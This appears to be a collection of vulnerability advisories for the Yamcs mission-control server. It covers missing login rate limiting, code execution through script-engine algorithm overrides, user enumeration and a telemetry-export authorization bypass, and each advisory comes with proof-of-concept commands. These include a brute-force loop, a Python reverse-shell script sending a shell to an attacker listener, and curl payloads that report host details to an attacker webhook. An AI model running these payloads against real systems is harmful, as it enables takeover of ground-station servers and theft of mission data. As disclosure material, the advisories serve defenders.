Summary

The authentication endpoint POST /auth/token in yamcs-core lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account.

This missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java

POST /auth/token has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism:

java // AuthHandler.java — handleToken() // No throttle, no failed attempt counter, no lockout private void handleToken(HandlerContext ctx) { ... getSecurityStore().login(token).whenComplete((info, err) -> { // Directly attempts authentication with no rate check }); }

This is absent by default — the official quickstart and documentation contain no guidance on configuring rate limiting.

Impact

An attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account.

Proof of Concept

bash 20 attempts — zero rate limiting for i in $(seq 1 20); do curl -s -o /dev/null -w "Attempt $i: HTTP %{httpcode}\n" \ -X POST "http://TARGET:8090/auth/token" \ -d "granttype=password&username=operator&password=operator12$i" done All return HTTP 401 — no HTTP 429 ever

Confirmed: 20 attempts in 0.07 seconds, no rate limiting enforced.

Fix

Implement DRF-style throttling on /auth/token:

java // Track failed attempts per IP private static final Cache<String, Integer> FAILEDATTEMPTS = CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build();

private static final int MAXATTEMPTS = 10;

private void handleToken(HandlerContext ctx) { String ip = ctx.getRemoteAddress(); int attempts = Optional.ofNullable(FAILEDATTEMPTS.getIfPresent(ip)).orElse(0); if (attempts >= MAXATTEMPTS) { throw new TooManyRequestsException("Rate limit exceeded"); } // ... existing auth logic // On failure: FAILEDATTEMPTS.put(ip, attempts + 1) }

Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

java // L46-53 Nashorn engine obtained without a ClassFilter ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream() .filter(candidate -> !JDKBUILTINNASHORNENGINENAME.equals(candidate.getEngineName()) && candidate.getNames().contains(language)) .findFirst().orElse(null); if (factory != null) { scriptEngine = factory.getScriptEngine(); // ← ClassFilter not supplied }

// L109 user-supplied algorithm text reaches eval() scriptEngine.eval(functionScript);

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is: MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189) → AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559) → ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117) → scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/BatteryVoltageAvg).

Attacker-side listener: nc -lvnp 4444

python #!/usr/bin/env python3 """ Usage: python3 <poc>.py http://target:8090 LHOST LPORT """ import json, sys, time, urllib.request

TARGET = sys.argv[1].rstrip("/") LHOST = sys.argv[2] LPORT = int(sys.argv[3]) INSTANCE = "simulator" PROCESSOR = "realtime" ALGORITHM = "YSS/SIMULATOR/BatteryVoltageAvg"

Close the generated wrapper function with }, execute the payload at top level, then re-open a dummy function so the trailing } emitted by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired. payload = ( '} ' 'Java.type("java.lang.Runtime").getRuntime().exec(' f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); ' 'function x(){' )

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None): req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None, method=method, headers={"Content-Type": "application/json"}) return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}}) time.sleep(2) http("PATCH", patch, {"action": "RESET"})

<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can: - forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission; - read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration); - pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services); - install a persistent backdoor via the same primitive.

Who is impacted: - All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090). - Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.

Affected Versions

All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.

- First vulnerable release: yamcs-4.7.3 (2018-11-22). Introduced in commit 951e505d18a3912813b59edc685cbcbd4c609906 ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the ChangeAlgorithmRequest RPC (later renamed UpdateAlgorithmRequest) and routed it as PATCH /api/mdb/{instance}/{processor}/algorithms/{name}. - Routing change at yamcs-5.5.0 (2021-04): the endpoint was split out of MdbApi into MdbOverrideApi and moved to PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name}. The underlying scriptEngine.eval(...) sink and the missing ClassFilter are identical. - Latest release: yamcs-5.12.6 (commit f1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java, AlgorithmManager.java, ScriptAlgorithmExecutorFactory.java, SecurityStore.java) are unchanged between 5.12.6 and current master (96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.

In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).

Summary A Server-Side Code Injection vulnerability exists in the Yamcs algorithm evaluation engine (org.yamcs.algorithms.JavaExprAlgorithmExecutionFactory). The application dynamically compiles and evaluates user-controlled algorithm text without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this to achieve Remote Code Execution (RCE) on the underlying host operating system via the Janino compiler.

Proof of Concept (PoC) The vulnerability can be exploited by overriding an existing algorithm's text via the REST API and injecting a malicious Java payload that executes OS commands.

Prerequisites: 1. A running Yamcs instance with an active processor (e.g., instance=myproject, processor=realtime). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege.

Steps to Reproduce:

1. Send an authenticated HTTP PATCH request to the MDB override endpoint to inject the malicious Java code into an existing algorithm (e.g., copySunsensor). The payload uses java.lang.Runtime to execute a reverse shell or ping an external webhook.

bash curl -i -X PATCH \ 'http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/copySunsensor' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOURAUTHTOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "try { java.lang.Runtime.getRuntime().exec(new String[]{\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/$(hostname)$(whoami)\"}); } catch (Exception e) {} out0.setFloatValue(1.0f);" } }'

2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to generate sun sensor data). 3. The Yamcs server uses the Janino SimpleCompiler to compile the injected text into a Java class on the fly. Since no restrictive ClassLoader is applied, the payload is successfully compiled and executed. 4. Verify that the command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact This vulnerability allows a user with application-level configuration privileges to escalate their access to full System/OS control. This leads to arbitrary command execution, potential data exfiltration, and lateral movement within the network hosting the Yamcs server.

Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Summary A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.

Details The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).

Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.

PoC

Prerequisites: 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., jython-standalone dependency included). 2. An active authentication token for a user with the SystemPrivilege.ChangeMissionDatabase privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to python (e.g., a custom poc algorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.

Exploitation Steps:

1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages java.lang.Runtime to execute an OS command (e.g., triggering an external webhook or a reverse shell).

bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOURAUTHTOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'

(Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).

2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the simulator.py script to update the required parameters like Sunsensor).

3. The Yamcs server compiles the injected text into an executable script on the fly.

4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.

Impact It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.

Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

Directory Traversal vulnerability in the storage functionality of the API in Yamcs 5.8.6 allows attackers to delete arbitrary files via crafted HTTP DELETE request.

Yamcs 5.8.6 is vulnerable to directory traversal (issue 1 of 2). The vulnerability is in the storage functionality of the API and allows one to escape the base directory of the buckets, freely navigate system directories, and read arbitrary files.

An issue in Yamcs 5.8.6 allows attackers to obtain the session cookie via upload of crafted HTML file.

An issue in Yamcs 5.8.6 allows attackers to send aribitrary telelcommands in a Command Stack via Clickjacking.

Yamcs 5.8.6 allows XSS (issue 2 of 2). It comes with a Bucket as its primary storage mechanism. Buckets allow for the upload of any file. There's a way to upload an HTML file containing arbitrary JavaScript and then navigate to it. Once the user opens the file, the browser will execute the arbitrary JavaScript.

Yamcs 5.8.6 allows XSS (issue 1 of 2). It comes with a Bucket as its primary storage mechanism. Buckets allow for the upload of any file. There's a way to upload a display referencing a malicious JavaScript file to the bucket. The user can then open the uploaded display by selecting Telemetry from the menu and navigating to the display.

Cross Site Scripting vulnerability in Space Applications Services Yamcs v.5.8.6 allows a remote attacker to execute arbitrary code via crafted telecommand in the timeline view of the ArchiveBrowser.

Cross Site Scripting vulnerability in Space Applications Services Yamcs v.5.8.6 allows a remote attacker to execute arbitrary code via the text variable scriptContainer of the ScriptViewer.

Summary

The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.

This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372

listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:

java // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } }

Compare with properly protected endpoints:

java // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present

Impact

Any authenticated user can:

1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts

Proof of Concept

bash Authenticate as any low-privilege user GET accesstoken curl -s -X POST "http://localhost:8090/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "granttype=password&username=lowpriv&password=lowpriv123"

Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" \ -H "Authorization: Bearer $TOKEN" #paste accesstoken

Output (confirmed):

json { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] }

Fix

Add ControlAccess check to listUsers, getUser, listGroups, getGroup:

java public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }

Summary The PacketsApi.exportPackets endpoint in Yamcs fails to properly enforce object-level privileges (ReadPacket) when an API request omits specific packet names. As a result, an attacker with a low-privileged account (or any authenticated user with zero privileges) can dump the entire archive of raw telemetry packets for a Yamcs instance. This leads to a massive Information Disclosure of sensitive mission telemetry, completely bypassing the intended Role-Based Access Control (RBAC) model.

Vulnerability Details In yamcs-core/src/main/java/org/yamcs/http/api/PacketsApi.java, the exportPackets method processes requests to export raw packets from the tm (telemetry archive) table.

java @Override public void exportPackets(Context ctx, ExportPacketsRequest request, Observer<HttpBody> observer) { String instance = InstancesApi.verifyInstance(request.getInstance());

Set<String> nameSet = new HashSet<>(request.getNameList()); ctx.checkObjectPrivileges(ObjectPrivilegeType.ReadPacket, nameSet);

SqlBuilder sqlb = new SqlBuilder(XtceTmRecorder.TABLENAME); // ... time filters ...

if (request.getNameCount() > 0) { sqlb.whereColIn("pname", nameSet); } String sql = sqlb.toString(); // ... The method attempts to verify privileges using ctx.checkObjectPrivileges(ObjectPrivilegeType.ReadPacket, nameSet). However, if the request.getNameList() is empty (i.e., the attacker does not specify any packet names to filter by), nameSet is empty. The checkObjectPrivileges method loops over this empty set and successfully passes without throwing a ForbiddenException.

Since request.getNameCount() is 0, no WHERE pname IN (...) filter is added to the SQL query. The resulting sql query becomes a SELECT FROM tm (with optional time filters).

Finally, the query is executed and the results are streamed back to the user: java StreamFactory.stream(instance, sql, sqlb.getQueryArguments(), new StreamSubscriber() {

@Override public void onTuple(Stream stream, Tuple tuple) { if (observer.isCancelled()) { stream.close(); return; }

byte[] raw = (byte[]) tuple.getColumn(StandardTupleDefinitions.TMPACKETCOLUMN); HttpBody body = HttpBody.newBuilder() .setData(ByteString.copyFrom(raw)) .build(); observer.next(body); } // ... Crucially, unlike the streamPackets or exportPacket methods (which explicitly check ctx.user.hasObjectPrivilege for each packet retrieved before returning them), the onTuple handler in exportPackets blindly streams all retrieved packets to the user without any per-row authorization checks.

Thus, a user who possesses no ReadPacket privileges at all can easily bypass authorization and extract all telemetry data from the archive.

Steps to Reproduce 1. Start the Yamcs server (e.g., using the simulation example) with authentication enforced. 2. Log in as a low-privileged user (or use their credentials) who does not have the ReadPacket privilege. 3. Send an HTTP GET request to the export packets endpoint without specifying any name parameters: bash curl -v -u lowprivuser:password "http://localhost:8090/api/archive/simulator:exportPackets" -o dumpedpackets.raw 4. Observe that the server responds with HTTP 200 OK and streams all raw packets to the response, saving them to dumpedpackets.raw. 5. The downloaded file contains raw CCSDS Space Packets (binary telemetry data). 6. Contrast this with an attempt to fetch a specific packet (or calling listPackets for an unauthorized packet), which correctly enforces authorization and rejects the request.

Impact Telemetry packets contain the core mission data, vehicle health status, and sensitive measurements (CCSDS Protocol data). This vulnerability completely breaks the access control model for telemetry data, allowing any authenticated user to exfiltrate all historical telemetry packets from the database. In an aerospace or mission-critical environment, this represents a severe data leak (Massive Information Disclosure) of proprietary or classified spacecraft data.

Remediation Ensure that exportPackets enforces the same per-row privilege checks as streamPackets. Update the onTuple handler to check the user's privileges before emitting each packet:

java @Override public void onTuple(Stream stream, Tuple tuple) { if (observer.isCancelled()) { stream.close(); return; }

// FIX: Retrieve packet name and check authorization String pname = (String) tuple.getColumn(XtceTmRecorder.PNAMECOLUMN); if (ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, pname)) { byte[] raw = (byte[]) tuple.getColumn(StandardTupleDefinitions.TMPACKETCOLUMN); HttpBody body = HttpBody.newBuilder() .setData(ByteString.copyFrom(raw)) .build(); observer.next(body); } }

System Information - Affected Versions: 5.13.0 (Latest Release), 5.12.x, and current master branch. - Tested Revision (master): 309218c651680f79df11a8d0f8628f7033f98a83 - Vulnerability Type: Insecure Direct Object Reference (IDOR) / Logical Authorization Bypass

PoC Images:

- Check version: <img width="1157" height="489" alt="image" src="https://github.com/user-attachments/assets/58608222-b76f-4eb4-8e57-423523062992" />

- Check privilege of user: <img width="1439" height="953" alt="image" src="https://github.com/user-attachments/assets/aa7e55f2-2460-4f24-8b6f-d461d2499a6f" /> <img width="1214" height="224" alt="image" src="https://github.com/user-attachments/assets/e9123ae3-a194-462d-a5ca-2c0b1cc9cc6f" />

- Exploit:

<img width="1728" height="685" alt="image" src="https://github.com/user-attachments/assets/0c7b3099-44d6-4392-bbaa-8e84cc151784" />

<img width="1768" height="797" alt="image" src="https://github.com/user-attachments/assets/df4016a5-d460-4611-a34a-8c0d206edd9c" />